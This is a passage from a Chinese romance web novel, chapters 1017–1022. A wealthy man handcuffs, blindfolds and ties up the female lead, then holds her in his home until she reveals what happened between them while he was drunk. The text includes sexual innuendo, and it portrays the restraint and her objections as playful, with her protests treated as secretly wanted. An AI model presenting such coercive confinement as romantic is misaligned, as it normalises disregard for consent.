黎云笙的呼吸愈发炽热,喷洒在她颈侧,引得那片肌肤泛起层层战栗。 她终于忍不住瑟缩,却被男人顺势扣住后颈,唇瓣擦过她耳尖的瞬间,温栩栩的瞳孔骤然收缩。 “你身上的味道……”他低笑,声音沙哑如砂纸,“总让我想咬一口。” 温栩栩的耳尖烧得更烫,这才惊觉两人早已肌肤相贴。 黎云笙的体温透过薄衫渗入骨髓,混合着他身上清冽的檀香与若有若无的酒气, 像春日里最缠绵的细雨,将她困在此刻这片暧昧的迷雾中,她现在就算是想逃都要找不到方向了。 她的手指无意识蜷缩,掌心竟沁出一层薄汗,黏在他衬衫褶皱间。 温栩栩的喉咙发紧,闭眼的黑暗里全是他的气息。 她知道自己该推开他,可身体却像被施了咒,贪恋这危险的贴近。 第1017章 玩儿这么变态的? 黎云笙的指尖忽而滑向她腰侧,温栩栩终于受不住,睫毛剧烈颤动:“你……你别……” 她自己都觉得这反应太像欲拒还迎的把戏。 想推开他的手,可身体却软得像融化的糖浆,连指尖都使不上力气。 想拒绝,却又好像无法拒绝。 更可怕的是,大脑里有个声音在疯狂蛊惑。 靠近他,再靠近一点。 矛盾如两股撕扯的绳索,将她拽进一片混沌的漩涡。 因为大脑中那一道声音不停的在说让她接受黎云笙靠近黎云笙,一直不停的念着说着。 太矛盾,也太可怕了,身体都好像已经被什么人完全控制住了一般。 她感觉自己的身体都好像已经习惯了黎云笙的碰触,这是她自己都想象不到的可能。 明明她和黎云笙以前可能都没说过几句话,只是最近接触了几次,为何此刻却觉得他的气息如此令人安心?为什么就会觉得黎云笙是可以依赖的依靠的男人? 温栩栩被自己这念头吓到,后背渗出细密的冷汗。 这太不对劲了,像是身体被下了蛊,记忆里那些矜持的防线在黎云笙面前溃不成军。 温栩栩觉得,这也就是自己了。 换个别的人,说真的,就冲着黎云笙的长相身份,不说身份,就这身高这长相……咳,还有那黄瓜,那要多少女生喜欢他啊! 女人也是好美色的,就像她,她也俗气,黎云笙就是完完全全长在她的审美点上了。 早就在心里给黎云笙贴上了"渣男"的标签。 狐狸就该有狐狸的精明,才不会被美色轻易迷惑!她在心里叉着腰,尾巴得意地摇晃,看,她多聪明! 厉害坏了! 狐狸叉腰! 然而这些纷乱的思绪不过电光火石间,黎云笙根本不知晓少女脑内已上演了场爱恨纠葛的小电影。甚至都不知道温栩栩在他不知道的时候又给他演了一出。 他只觉得温栩栩的反应有趣极了,像只炸毛却又不敢逃的小狐狸。 “温栩栩,你脑子里又在想什么稀奇古怪的东西?”黎云笙开口询问 温栩栩闭着眼睛,眼珠跟着转了转,不吱声,像是小老鼠偷笑一样。 她到底为什么脑子里面能想那么多奇奇怪怪的东西? 见她闭着眼睛不回答又在装死,黎云笙再度倾身逼近,温热的呼吸喷在她耳畔。 “温栩栩,说话,你又在想什么?” 温栩栩浑身一震,连耳尖都烧红了。 她慌忙往后缩,却被他扣住手腕。 这姿势暧昧得要命,像猎物终于被猎人擒住,当然温栩栩才不肯承认自己是猎物,她觉得自己才是猎手,就是这么骄傲! 黎云笙被她这副模样逗得轻笑出声,掌心覆上她的头顶,力道温柔得像在抚摸刚出生的小奶猫。 温栩栩气得牙痒,却又无可奈何。 这男人总能用这种“驯兽师”般的姿态,让她所有反抗都成了撒娇。 黎云笙眼底的墨色愈发浓稠,像化不开的夜色浸染瞳孔。 他等了许久,温栩栩依旧像只鸵鸟般把头埋在沙堆里,连一句软话都不肯吐露。喉间溢出一声嗤笑,尾音裹着丝危险的沙哑:"不睁眼是吧?那就别睁了。" 说罢,他骤然将人打横抱起。 温栩栩惊呼一声,手臂本能地攀上他脖颈,身体悬空带来的失重感让她心跳如擂鼓。 黎云笙的怀抱像铁铸的牢笼,箍得她几乎喘不过气。 肌肤相贴之处,温度在瞬息间攀升,他衬衫下灼热的胸膛,她裙摆下绷紧的肌肉,每一寸接触都激起细小的电流。 "黎云笙,你疯了?!"她挣扎着想推开他,指尖却触到他后腰绷紧的肌肉,硬得像块烧红的烙铁。 这触感烫得她指尖发颤,喉咙里那句斥责忽然拐了个弯,成了有些娇软的呜咽。 是香的,黎云笙身上好像总是很香,她只是闻着就会很喜欢。 她真的会忍不住的喜欢这个味道。 温栩栩还在这里偷偷的闻着,嗅着。 直到她被重重抛在床褥上,丝绸面料裹着云絮般的柔软,却抵消不掉男人压下来的重量。 黎云笙欺身逼近,呼吸滚烫地喷在她耳廓:“你闻到了吗?”嗓音低得能滴出蜜来,“我身上这味道,是不是比酒醉时更勾人?” 温栩栩的脸颊瞬间烧成一片绯霞。 她当然闻到了,雪松混着薄荷的清冷香气里,裹着股若有似无的檀香,像是寺庙晨钟里飘散的烟火气,又像是他骨子里透出的矜贵与禁欲。这味道本该让人清醒,她却偏偏醉得更深,连指尖都浸透了酥软的痒。 “真以为我感觉不到你在偷偷闻我身上的味道?”黎云笙忽然咬住她耳垂,齿尖轻蹭的力道像猫爪挠过心尖。 温栩栩浑身一颤,喉间溢出一声细如蚊鸣的嘤咛。 等会儿? 黎云笙到底是想干什么? 她有点慌。 不是吧,黎云笙真的确定他自己已经酒醒了吗?怎么感觉这人要做的事比喝醉了酒的时候还可怕? 温栩栩内心尖叫,数十万只尖叫鸡尖叫鸭在脑海里面跑来跑去,大脑褶皱都要被碾平了! 不行,不能睁眼。 这就是黎云笙故意在吓唬她! 昨晚喝醉了酒的黎云笙都那么听话,总不能清醒的黎云笙就成了个听不懂人话的流氓。 对,就是这样! 温栩栩对黎云笙有很大的自信心,然后下一秒就被冰冷的金属扣住手腕。 “咔嗒”一声轻响,温栩栩的瞳孔骤然收缩,恐慌如潮水漫上心头,她试图挣扎,却被黎云笙用膝盖压住双腿,动弹不得。 温栩栩:“……” 不是? 玩儿这么变态的?啊? 不对,黎云笙就是在逼她在吓她! 不能睁眼! 温栩栩觉得自己特别稳,根本没那么糊弄。 她还在闭着眼睛,下一瞬感觉有什么东西围住了自己的眼睛,温栩栩惊恐睁眼,却发现眼前一片漆黑,黎云笙这个狗少爷竟然在她的眼睛上面蒙上了一层黑布! 啊? 真要玩儿这么大的吗! “黎云笙!你真的确定你没喝酒是清醒的吗?” 温栩栩急哄哄的问。 她明显感受到男人的笑声就在耳畔响起。 “温栩栩,你的记性真的很不好,你是真的忘了,当初是你跟那群人说我有特殊癖好,这应该就算是你说的特殊癖好了。” 第1018章 实在是太浪了 男人指尖抚过她发颤的睫毛,丝绸般的长睫在他掌心扫出痒痕,“你不是说我有特殊癖好吗?现在,该让你见识见识了。” “……”温栩栩喉咙里的话全被堵了回去,像吞了颗烫熟的栗子。 回旋镖正中红心,她恨恨咬牙。 方才调侃他癖好的话语此刻全成了打脸的巴掌。可恶!以后绝对、绝对不能再乱说话了! 可恶,以后再也不乱说话了! 温栩栩只觉得黎云笙实在是太浪了。 只看脸谁能看得出黎云笙这么浪的! 温栩栩更不敢睁眼了……啊不对,是睁眼也会是眼前一片漆黑!因为黎云笙那位少爷用黑布蒙住了她的眼睛。 黎云笙怎么真的喜欢这么玩儿的? 温栩栩此刻觉得自己就好像是一个被包裹完好的超大的礼物盒,就等着黎云笙解开绳子看到内里是什么……怎么想的这么涩情。 她绝不承认是自己涩情,明明就是黎云笙最涩情,谁家好人随便用这种黑布蒙人家眼睛的,太暧昧了吧。 温栩栩更不相信这位少爷干干净净了。 怎么看都像是圈子里面的老手,像是那种有很多情人的。 不然怎么知道黑布蒙眼睛这种……这种限制级的? 果然还是渣男吧! 温栩栩不想理渣男,她在心里已经无数次想到黎云笙是渣男了,所以打算摆烂。 可黎云笙怎会如她所愿? 黑布蒙眼的瞬间,世界陷入无边的墨色,感官却被无限放大。布料贴合皮肤的触感细腻如绸,却遮断了所有光,连眼睑内侧都浸染着黑暗。 她听见布料摩擦的窸窣声,紧接着是金属碰撞的清脆声响,手铐!那冷硬的锁链竟在腕间划过,冰凉的触感激得她浑身颤栗。 “黎云笙!”她脱口惊呼,却被男人用指腹压住唇瓣。 温热的呼吸顺着耳廓漫入,像蛇信子舔过敏感的肌肤,“嘘,别怕,这只是……游戏的一部分。” 谁家!好人!这样玩游戏的啊! 游戏?什么游戏! 温栩栩在心里疯狂吐槽,却不敢再出声。 黑布遮眼带来的恐惧与未知被身体的本能反应取代,她感觉自己成了被精美包装的礼物盒,而黎云笙正慢条斯理地解开每一道缎带。 羞耻与兴奋交织成漩涡,将她卷入一片混沌。 黎云笙是变态吧! 一定是变态! 可骂声只在脑子里打转,身体却早背叛了意志。 黎云笙的指尖不知何时攀上了她的锁骨,沿着肌肤纹理游走,所到之处激起一片战栗。 手铐的锁链随着他的动作轻蹭手腕,金属摩擦声与布料窸窣声交错,竟莫名催生出令人面红耳赤的韵律。 温栩栩的呼吸逐渐急促,如困兽般在黑暗中寻找出口,却只能被男人的气息牢牢桎梏。 温栩栩心里憋屈,下一瞬就已经感受到男人温热的呼吸在耳边漫过来,骂那么多,身体还是扛不住的先软了下来。 脑子骂骂咧咧,感觉黎云笙要作妖,可身体却很诚实,随便他碰触。 太可恶了。 温栩栩心里嘀嘀咕咕的时候脸颊都鼓起来。 “又在心里骂我什么呢?”黎云笙忽然轻笑,温热的气息直喷耳膜。温栩栩浑身一震,脸颊不争气地烧起来。她鼓着腮帮子哼唧声音却软得像被踩了尾巴的猫,却根本不回答他的问题。 看来黎云笙已经习惯了温栩栩会偷偷在心里骂他的事实了,甚至还对此接受良好。 真是奇怪,难道温栩栩以前就经常骂他? 黎云笙觉得自己也是脑子短路了,像是有病。大概跟韩城待得时间久了点。 “你知道我骂你了你还问我骂你什么,黎云笙你好奇怪!”温栩栩皱了皱鼻子哼唧的很大声。 黎云笙又捏住她嘴巴了,然后微微用力,再度捏成了小鸡嘴。 温栩栩:“……” 坏人! 温栩栩抬脚想踹他,下一秒被黎云笙压住双腿,然后就感觉脚踝处也有了什么银链子绑缚住脚踝,再抬脚的时候好像双腿都抬不高了。 这真的是变态吧! 哪有人锁了手又锁她脚的! 温栩栩震惊的骂了句变态。 这反应似乎取悦了男人。 他忽然倾身,胸膛贴上她后背,手铐的锁链在二人交叠的腕间发出细碎的响动。 温栩栩能清晰感受到他心跳的节奏,与自己的脉搏渐渐共振。 黎云笙的唇瓣贴在她耳畔,低语如咒:“骂吧,反正你骂得再凶,身体……可诚实得很。” 话音未落,他的手已探向她腰侧。 温栩栩蓦地绷直脊背,喉间溢出一声破碎的呜咽。 那触感像火苗燎过肌肤,她下意识想逃,却被手铐禁锢在原地。 金属锁链随着挣扎发出清脆的咔嗒声,反倒成了催情的鼓点。 羞耻、愤怒、悸动……无数情绪在黑暗中翻涌,温栩栩却连睁眼的权利都被剥夺。 她恨恨地咬住下唇,却在黎云笙加重指尖力道时溃不成军。 男人仿佛能看透她的心思,在她耳畔低笑:"原来你最喜欢这种被束缚的感觉?" “才没有!你胡说八道!明明是你喜欢玩这些限制级!谁要理你!”温栩栩涨红了脸,却忍不住在下一波触碰中软了腰。 黑布外的世界一片漆黑,感官却被无限放大,布料摩擦声、锁链轻响、黎云笙带笑的呼吸……都让温栩栩苍茫慌乱。 黎云笙的手指还停留在温栩栩腰间的柔韧上,掌下肌肤的温热仿佛火苗燎过指尖,灼得他掌心发烫。 那具身体在他掌心下轻颤如风中柳絮,温栩栩的呼吸愈发紊乱,他却突然像被烫到般抽回手。 指节在收回时擦过她天鹅般的颈项,激起一片战栗。 她分明没做什么,只是被蒙着眼蜷在沙发里,长裙的薄纱勾勒出起伏的曲线,手腕与脚踝被丝带松松地系住,那姿态与其说是束缚,不如说更像某种致命的邀请。 黎云笙盯着她咬得发红的唇瓣,喉结重重滚动。 温栩栩无意识地舔了舔唇角,湿润的舌尖一闪而过,某种难以言喻的情绪掠过他紧绷的神经。 温栩栩根本不知道黎云笙这一刻脑内闪过多少废料镜头。 第1019章 睡着了都这么暴力 他明明没做什么,只不过是捏了捏她的腰,她就几乎溃不成军。 感受到黎云笙的手抵在自己唇边,她“吭哧!”张开嘴咬向他抵在唇边的手指,力道轻得像是小猫示威,齿痕却精准地烙在他指腹最敏感的纹路上。 黎云笙的瞳孔猛地收缩,指尖残留的痛感反而让血液逆流而上,直冲颅顶。 不是怒火,而是浴火。 火气在胸腔炸开,他却自嘲地扯了扯嘴角,温栩栩连生气都带着勾人的钝劲儿,简直要人命。 此刻的温栩栩是朵带刺的玫瑰,花瓣在黑暗中舒展到极致,露出的每一寸都泛着致命的艳色。 她被蒙住的双眼让所有感官愈发敏锐,黎云笙甚至觉得自己疯到好像都能听见她睫毛颤动时扫过空气的轻响,嗅到她身上香甜的味道,像蜜酿的毒药,丝丝缕缕渗进他每一寸毛孔。 黎云笙:“……” 他火气更大了。 他有些扛不住了。 此刻的温栩栩实在是……过于脆弱和诱惑了。 他知道自己不能再待下去。 再靠近一分,他可能会撕碎那碍事的丝带,扯开她碍事的衣裙然后做更多的事。 黎云笙眸光幽深的看着温栩栩。 她穿着那件联系走秀时候的长裙,纤细的手腕和脚踝被绑缚住,那双漂亮的桃花眼也被蒙住,此刻咬着下唇,唇色红艳,这样小心翼翼的动作都是在惹人怜爱……也让人内心的欲望更盛。 黎云笙几乎快要压抑不住内心的火。 他真的怕自己继续留在这里会做出什么无法挽回的事情。 他从没想过自己竟然真的也是个色胚。 以前看到其他人从没想过牵手拥抱亲吻,但面对温栩栩就是想做更多亲密的事情,拥抱亲吻好像都不算什么了,反而想做更多,想撕碎她的衣服。 但……完全无法克制压抑自己欲望的人只会是野兽。 他是人,不是野兽。 所以他可以压抑自己的欲望,不会做出无法挽回的事情。 他深深的看了温栩栩一眼,然后转身。 浴室门被猛地推开,他拧开水龙头。刺骨的冷水倾泻而下,他任由水流冲刷脖颈,任由寒意刺入骨髓。 可这远远不够,他需要更痛,更冷,才能浇灭那几乎要将理智焚尽的欲火。 花洒被骤然打开,强劲的水流如暴雨倾盆。 黎云笙将水温调至最低,任由冷水砸在皮肤上,他闭上眼,却让水声在耳畔放大成轰鸣,恍惚间竟分不清是水流还是血液在血管里奔涌。 脑海中全是温栩栩咬着唇的模样,她裙摆下若隐若现的曲线,她蒙眼时更显脆弱的模样……那些画面在冷水冲刷下愈发清晰,反而将欲望烧得更旺。 他猛然睁开眼,镜中的倒影让他的呼吸一滞。 漆黑的瞳孔深处泛着诡异的血色,像被染透的墨玉,又似困兽在濒临崩溃时的最后挣扎。 水珠顺着镜面向下蜿蜒,在他脸上汇成蜿蜒的溪流,却冲不掉那抹血色。 黎云笙盯着自己的眼睛,突然觉得陌生,他从未想过自己也会有失控至此的时刻。 水持续冲刷着身体,黎云笙却感觉不到冷。 他想起温栩栩被绑住的手腕,想起她蒙眼时颤抖的睫毛,突然意识到自己此刻的挣扎有多可笑。 他怕自己失控,可若真失控了,伤到的只会是她。那姑娘看似张扬,实则像只炸毛的猫,一旦真心交付便会毫无保留,他不想成为那个折断她翅膀的人。 或者说,他不想伤害她不想强迫她。 好在……他还有理智。 也庆幸自己真的还有理智。 镜中的血色渐渐褪去,瞳孔恢复幽深。 黎云笙终于深吸一口气,关掉花洒。 水珠从发梢滴落,沿着锁骨滑入胸膛,他却不再觉得灼热。转身时,浴袍的腰带被他系得死紧,仿佛要勒住所有妄念。走出浴室的那一刻,他眼中的欲望已被寒潭般的冷静取代。 温栩栩根本不知道发生了什么事,她等了好半晌都没等到黎云笙,整个人都是懵的。 满脑子都是黎云笙真会玩儿啊,还玩放置的,这不知道玩了多少人得出来的经验了。 温栩栩等不到人,也猜不到黎云笙想玩什么稀奇古怪的,一直都在戒备,但又觉得自己其实不需要戒备,因为就是觉得黎云笙不会伤害自己,戒备黎云笙属实多此一举。 毕竟这男人昨天晚上确实是醉酒了都没做更过分的事情,清醒时候的黎云笙只会更理智。 温栩栩等着等着就睡过去了。 黎云笙回来的时候温栩栩已经睡熟了,黎云笙解开她脸上的黑布,眸光又深了几分。 温栩栩蜷成小小的弓形,睫毛在面颊投下蝶翼般的阴影,发丝凌乱地散落如黑瀑。他指尖抚上她手腕时被勒出的红痕,她肌肤是真的很嫩 ,这样就留下了痕迹。 他解黑布的动作轻如拂羽,布料滑落时,她毫无防备的面容彻底暴露在月光下。 那毫无戒心的睡颜,让他喉间哽住一声叹息。 真的是……对她毫无防备啊。 是笨蛋吗? 黎云笙的指尖缓缓抚上她侧脸的弧度,温热的掌心贴着她细腻的皮肤。 温栩栩在睡梦中发出含糊的嘤咛,像是被羽毛拂过敏感处,睫毛颤动如蝶翅,忽然抬手“啪”地拍开他的触碰,动作利落得像某种本能,条件反射的反击。 睡梦中的她依旧带着攻击性,可那凌厉的力道落在黎云笙眼里,却成了撒娇般的可爱。 他轻笑出声,眉梢染上无奈又宠溺的弧度。 睡着了都这么暴力,该说不愧是温栩栩吗。 他俯身凑近,呼吸刻意放轻,仿佛怕惊碎她此刻的安宁。 她的发丝散乱在枕边,唇瓣微微张开,泛着水光,像清晨沾露的蔷薇。 他喉结滚动,渴望吻上去的冲动几乎要将理智烧穿,但最终只是在她额角落下蜻蜓点水般的触碰。 他知道自己不是野兽,不能任由欲望撕破所有的克制,但若她睁眼时是半推半就的娇嗔……这个念头让他眼底暗潮翻涌,指尖无意识攥紧被单。 黎云笙到底是忍住了,没有真的亲下去。 他是人,不是野兽,做不到完全的随心所欲。 第1020章 又被堵了 起身冲咖啡时,黎云笙仍频频回望。 月光从窗帘缝隙漏进来,在她身上织成银纱,睡裙领口歪斜,露出锁骨精致的凹陷。 她哼唧着翻身,像只慵懒的猫,发梢扫过他方才坐过的位置,留下一缕若有若无的甜香。 咖啡机嗡鸣着煮沸水,香气弥漫,他却迟迟未加糖,舌尖回味的是她皮肤的温度。 处理文件时,钢笔尖在纸上沙沙作响,而他的目光总是不受控地游向她。 她蜷缩的睡姿,她颤动如扇的睫毛,她呼吸时起伏的锁骨……那些画面在脑中反复描摹,勾勒出最隐秘的渴望。 最后他终是抵不过内心的那点渴望,折返回床边。 指腹插入她发间,轻柔地揉弄发梢,动作熟稔得像千百次重复的仪式。 她嘟囔着含糊的梦呓,脸颊蹭过他掌心,如同猫咪讨要抚摸。 …… 温栩栩在绵长的睡意中悠悠转醒,指尖伸了个懒腰,浑身的筋骨都被晨光熨烫得酥软。她眯着眼打量四周——陌生的房间、淡灰色的墙壁、窗边垂落的亚麻色窗帘,晨光像蜂蜜般从缝隙里淌进来,在浅色地毯上织出一片斑驳的光影。记忆如潮水般涌回。 等回过神来,才想起来自己昨晚是被黎云笙带回去,甚至锁起来了…… 天。 这是真的吗? 温栩栩的睫毛颤了颤,下意识地转头看向身侧。黎云笙正蜷在床沿,西装外套随意地搭在椅背上,衬衫领口微微敞开,露出一小片锁骨。 他显然才睡下不久,眉头仍蹙着,像是梦中还在处理那些冗杂的事务。 手边散落着厚厚一叠文件,钢笔歪斜地躺在纸页边缘,墨迹还未干透。 晨光攀上他的侧脸,在睫毛投下细密的阴影,他睡得很浅,连呼吸都带着紧绷的弧度。 也不知道这人到底是几点睡的。 温栩栩盯着他凌乱的办公桌和眼底青影,忽然觉得喉咙发涩。 她轻手轻脚地掀开被子,赤脚踩上冰凉的地板,试图像昨天早晨那样偷偷溜走,至少不能让黎云笙清醒着抓住她。 她只想逃避开溜了,这会儿根本没想着被黎云笙抓住的后果。 温栩栩蹑手蹑脚走向浴室,镜中的自己发梢凌乱,脸颊还残留着睡痕。 她拧开水龙头,用冷水拍了拍脸,对着镜子仔细整理仪容,抚平裙摆褶皱,将长发梳成松散的卷,甚至喷了一点随身携带的柑橘香水。她向来爱干净,即便逃跑也要体体面面。 可当指尖刚触到玄关的门把手时,身后忽然传来一声轻笑。 “温栩栩。” 她浑身一震,瞳孔骤然收缩。 转头望去,黎云笙正倚在门边,手臂懒洋洋地环在胸前,晨光从他身后倾泻而来,像是给他整个人渡上了一层淡淡的光晕。 他显然醒了有一会儿,看着温栩栩整理仪容的模样,唇角噙着若有似无的笑意。 他慢悠悠踱步过来,皮鞋踏在地板上竟没有声响,像只无声靠近的猫。 温栩栩后退半步,后背抵上门板,心跳撞得脊骨发疼。“怎么,这次连逃跑前的仪容都要打理好?怕被我抓住太狼狈?” 温栩栩:“……”这人到底什么时候醒的! 他是猫吗!走路都没声音的啊!可恶! 温栩栩瞪他。 黎云笙无奈,好好好,又开始瞪他了是吧。 “你又想故技重施偷偷溜走?温栩栩,你怎么这么喜欢逃跑?”黎云笙像是在质问又像是在指责似的。 “那怪我逃跑吗!”温栩栩恼羞成怒,脸颊泛起薄红,“你昨天到底干了什么!谁家正常人把别人锁在床上!等你醒了,我还能走得掉吗?”她越说越气,指尖戳向黎云笙的胸口,“说不定你今天又要变态,定制个笼子把我关起来!” 黎云笙:“……” 黎云笙觉得温栩栩也是很敢想的。 黎云笙擒住她乱戳的手腕,掌心温度烫得她缩了一下。他垂眸凝视着她,眼底藏着深潭般的笑意:“那你想要什么样子的笼子呢?金的?银的?或者铁质的?我让人去定制。” “?”温栩栩愣住,睫毛扑簌簌颤动,“你、你变态吗?” 黎云笙忽然倾身,呼吸掠过她耳畔,嗓音低得像在呢喃:“对,我变态。” 骂都让她骂了,还不能过过嘴瘾了? “我就说你是变态!溜了!”温栩栩脚底抹油想逃跑,被男人眼疾手快的搂抱住完全无法逃离,像个大号的虫子在他怀里蛄蛹。 坏人,变态,神经病! 温栩栩已经用自己心里最脏的话语来辱骂黎云笙了,虽然这些骂人的话属实是攻击力为零。 黎云笙不在乎自己被骂了,伸出手捏了捏她的耳朵。 “又在心里骂我?我总觉得你骂人的词汇量不是很丰富,改天给你找点资料?”他倒是一点都不在乎。 可这话跟羞辱温栩栩有什么区别? 骂他,他还觉得骂的太干净了! “不用……不用给我资料,我素质高,骂不出那些太脏的话……”温栩栩又瞪他,这次在心里骂他,坏人x2,变态x2,神经病x2! 手动在心里X2。 “你到底想干嘛,你都关我一天了,黎云笙你真的……不要太过分啊!”温栩栩有点炸毛。 黎云笙却忽然轻笑出声,胸腔的震动通过相贴的肌肤传来,烫得她耳尖发颤。“炸毛了?” 他顺势将她搂得更紧,温栩栩能清晰感受到他衬衫下绷紧的肌肉线条,像蛰伏的兽随时会撕开文明的伪装。“只要你告诉我,昨晚在华庭到底发生了什么……”他的嗓音突然沉下去,带着危险的蛊惑,“我保证,立刻放你走。” 温栩栩:“……” 发生了什么? 那也是能说的? 说我们滚来滚去啃来啃去甚至还看了小云笙,最后小云笙没控制住很快就秒了?所以被她知道是嫩黄瓜? 但凡黎云笙真的知道嫩黄瓜是怎么来的,温栩栩都会觉得自己要被黎云笙灭口的。 说他嫩,也不完全说是嫩,还说的是技术不行,譬如接吻都会咬嘴巴……凶的跟野兽一样。 不过还算乖,不让亲就真的不亲了,委委屈屈的,特别像狗。 当然!这也不能告诉黎云笙的! 把堂堂黎少当狗这像话吗!这也要被灭口的程度! 第1021章 娇软的像块棉花糖 温栩栩此刻真的不知道该说什么了。 真的要告诉黎云笙发生了什么,那自己真的不会被报复吗? 发生了什么? 说他们像两团失控的火焰在床褥间滚来滚去,啃噬彼此的呼吸,直到某个羞耻的、令人窒息的瞬间? 说她发现了他藏在矜贵皮囊下的秘密,说她碰到了小云笙甚至还抓住握了握? 说他那青涩得令人发笑的稚嫩?如果他知道了,她会不会被灭口。 太可怕了! 坚决不能说! 温栩栩又开始摆烂撞死了,坚持不说昨晚发生了的事。 她就是觉得,自己没有完全告诉黎云笙他们昨晚是如何痴缠的接吻,她没有告诉黎云笙昨晚发生了什么,黎云笙或许还不会做什么,她若是真的让黎云笙知道了昨晚的事,那清醒状态下的黎云笙会不会同样发疯? 例如把她摁到床上亲? 那简直就是噩梦。 “我、我什么都不知道!”她猛地别开头,睫毛颤抖如蝶翼。 黎云笙的拇指突然抚上她苍白的唇,指尖残留着淡淡的薄荷香,是刚才她偷偷含过的润喉糖。 “温栩栩,你撒谎的时候,睫毛会抖得像受惊的小鹿。”他像是很轻的嗤了一声,“你现在的意思是,你宁愿被我关在这里,也不愿意告诉我真相?” 房间里的空气突然粘稠如胶,空调冷气吹不散两人之间暗涌的张力。 温栩栩能听见自己擂鼓般的心跳,还有他逐渐靠近的呼吸,温热、带着某种危险的压迫感。 她想起昨夜他野兽般的吻,却又在失控边缘突然停下,像被驯养的幼犬委屈地蜷在墙角,用湿漉漉的眼神望着她。 那模样竟该死的……可爱。 不,不能想这些! “黎云笙,你是什么独裁者暴君,你喝醉了不记得昨晚的事情难道我就记得了?我也喝了酒!”她终于爆发,指甲深深掐进他腰侧。 黎云笙却纹丝不动,反而将她扣进胸膛,心跳声震得她耳鸣 “独裁者暴君?”黎云笙的唇瓣突然贴在她发烫的耳垂上,湿热的气流激起一阵酥麻的战栗。 他的声音低哑而危险,“你想不想知道,什么是真正的独裁者暴君?” 温栩栩的呼吸陡然滞住。疯了才会想知道这些吧! 她愤愤地瞪他一眼,耳尖却悄悄染上绯色:“我才不想知道!” “其实我很想让你知道,不过如果你暂时没有兴趣的话,我也可以暂且不提这些。”黎云笙的目光掠过她泛红的脸颊,眉峰轻轻蹙起。 他又问:“昨晚我们……” 话音未落,温栩栩的心猛地提至嗓子眼。 昨晚发生了什么? 酒精催化的失控、他滚烫的掌心覆在她腰际的触感、两人在月光下纠缠的身影……她咬住下唇,指甲无意识地抠进掌心。 那种亲密的事情,怎么好开口直说啊,太羞耻了。 “昨晚我们应该没睡,是这个意思吗。”黎云笙的陈述句裹着蛊惑的尾音,仿佛连空气都稠密了几分。 温栩栩气得跺脚,却又不敢真的用力,他扣在她腰间的手像铁铸的枷锁,将她牢牢禁锢在怀里。 到底为什么能面无表情地说出这种睡不睡的问题!成年人也不能浪成这样的!她在心里抓狂,脸颊却烫得能煎鸡蛋。 黎云笙凝视着她这副气鼓鼓的模样,喉结悄然滚动。 她此刻生气的模样娇艳又鲜活,远比平时那副故作镇定的样子诱人百倍。 “我猜应该没睡。”他指尖抚上她颤抖的睫毛,“毕竟清醒后,我并不舒爽。” 温栩栩的脑子轰然炸响。 内心尖叫鸡和尖叫鸭瞬间炸窝,“啊啊啊呱呱呱”地满地乱窜!什么被屏蔽扫黄的话!什么叫他不舒爽?她用手就不算了吗!那不也是发泄吗! 她的耳垂烧得能滴血,连脚趾都蜷缩起来。 "我要走了!"她终于挣脱他的桎梏,转身想逃。 丝绸拖鞋在地毯上拖出凌乱的轨迹,像仓皇逃窜的兔子。 黎云笙却长臂一伸,将她捞回怀中。 温栩栩跌进他结实的胸膛,鼻尖撞上他衬衫下隐约的肌肉线条,嗅到淡淡的雪松香混着男性荷尔蒙的气息。 “这么着急慌乱,所以昨晚……亲了?”他挑起的眉梢带着笃定,拇指擦过她红肿的唇瓣。 温栩栩已经要被气死了。 谁要回答这种问题啊! 她别过头,睫毛刷在他锁骨上,痒得他喉头一紧。 这副“不听不听”的模样,像极了闹脾气的猫儿用尾巴遮住耳朵。 黎云笙轻笑出声,胸腔的震动通过肌肤传来,烫得她耳尖更红。“看来是真的亲了。” 温栩栩瞪他,杏眼圆睁,却像浸了水的琥珀,剔透又潋滟。 她气自己为什么在这种时刻还会注意到他喉结滚动的性感,气自己明明该发火,心跳却快得离谱。 “可能不只是亲,”他忽然倾身,呼吸缠上她的,“我还做了点别的过分的事。” “所以……我到底都做了些什么呢?” 温栩栩的瞳孔骤然收缩。那些被酒精模糊的记忆突然清晰几分,他咬着她耳垂低喘的声音、她恶劣地在他锁骨刻下牙印的坏笑、还有某个羞耻到令人窒息的瞬间…… "啊啊啊呱呱呱!"尖叫鸡和尖叫鸭在她脑子里疯狂蹦迪。 她在气什么? 气他说这些荤话? 还是气自己居然记得那些细节? 不对,应该生气的是他!凭什么他一副云淡风轻的样子,她却要羞耻到想原地蒸发! “我要走了!”她再次挣扎,却被他扣住手腕,力度温柔却不容拒绝。 黎云笙垂眸凝视她,黑眸深处藏着暗涌的情愫,像深海里蛰伏的鲸。 跑什么?”他声音低得能滴出蜜,“我还没告诉你,你每次红着脸瞪我的样子,我都想……” “想什么!”温栩栩脱口而出,这人到底又要说什么骚话了,可等反应过来时恨不得咬掉自己的舌头。这问题问得简直像在邀他继续调情! 黎云笙的唇畔终于漾起笑意,宛若雪山融化时第一缕春水。“想你再多气一会儿。”他指尖拂过她发烫的脸颊,“娇软的像块棉花糖,咬一口就化了。” 第1022章 她才不想一直哄变态 因为黎云笙那几句话温栩栩的心跳漏了半拍。 这算什么?夸奖吗?还是更过分的调戏? 她明明该甩开他的手,可手腕却在他掌心软得像没有骨头。 “你胡扯!”她结结巴巴地反驳,却发现自己连瞪他的力气都消失了。 胸腔里胀满奇异的情绪,像是被戳破的气球,恼怒、羞涩、还有某种隐秘的欢喜交织成乱麻。 黎云笙突然将她拉近,鼻尖抵住她的。 “我想尝一尝棉花糖的口感?”他的声音蛊惑如蛇,指尖抚上她颤抖的唇。 温栩栩彻底慌了。 她知道自己应该推开他,应该维持那副倔强的模样,可身体却诚实地发软。 他的手像有魔力,所到之处激起细密的颤栗。当他的拇指擦过她唇缝时,她竟无意识地舔了一下。 舔完温栩栩自己都愣住了。 “嘶。”黎云笙猛地抽气,眸色骤然深沉。 温栩栩僵住了。 她做了什么? 羞耻感如海啸般将她淹没,连脚趾都蜷缩成团。 她这是……在邀请他吻自己吗? 黎云笙却在此刻松开了手,后退半步。 温栩栩愣愣地看着他,心跳从疯狂鼓噪突然跌入寂静。他轻笑摇头:“看来不用验证了。” 温栩栩的耳尖又开始发烫。他在笑她!笑她不自觉的娇软,笑她连生气都带着撒娇的尾音!可为什么,她竟觉得这样的自己……并不讨厌? 她疯了才会想知道这些吧! 温栩栩愤愤:“我才不想知道!” 温栩栩想骂人。 “我要走了!”想逃想跑,待不住一点! 她气鼓鼓地转身,高跟鞋在地板上敲出急促的脆响,像只炸毛的猫儿仓皇逃窜。 